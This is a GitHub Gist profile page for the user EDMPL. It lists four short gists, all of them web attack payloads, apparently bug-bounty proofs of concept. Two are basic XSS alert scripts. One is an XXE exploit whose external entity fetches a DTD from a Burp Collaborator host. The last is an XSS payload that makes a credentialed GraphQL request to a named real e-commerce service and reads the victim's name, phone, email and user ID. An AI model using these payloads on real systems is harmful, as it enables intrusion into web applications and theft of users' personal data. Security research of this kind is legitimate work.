Skip to content

Instantly share code, notes, and snippets.

View EDMPL's full-sized avatar

EDMPL

1 follower · 3 following
View GitHub Profile
@EDMPL
EDMPL / test.js
Created January 22, 2020 09:41
<script>alert();</script>
@EDMPL
EDMPL / test.js
Created January 18, 2020 18:21
<script>alert();</script>
@EDMPL
EDMPL / exploit.xml
Last active January 17, 2020 07:42
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://jk75fm36xi0mxrv2vkpo2k6q3h9ix7.burpcollaborator.net/x"> %ext;
]>
<r></r>
@EDMPL
EDMPL / x.js
Last active July 9, 2019 17:53
XSS lead to Information Disclosure
fetch('https://gql.tokopedia.com', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
credentials: 'include',
body: JSON.stringify({ query: '{\n user{\n id\n phone\n email\n name\n }\n}' }),
})
.then(res => res.json())
.then(res => {console.log(res.data.user.name);
alert('Username: ' + res.data.user.name + ' Phone: ' + res.data.user.phone + ' ID: ' + res.data.user.id + ' Email: ' + res.data.user.email);
});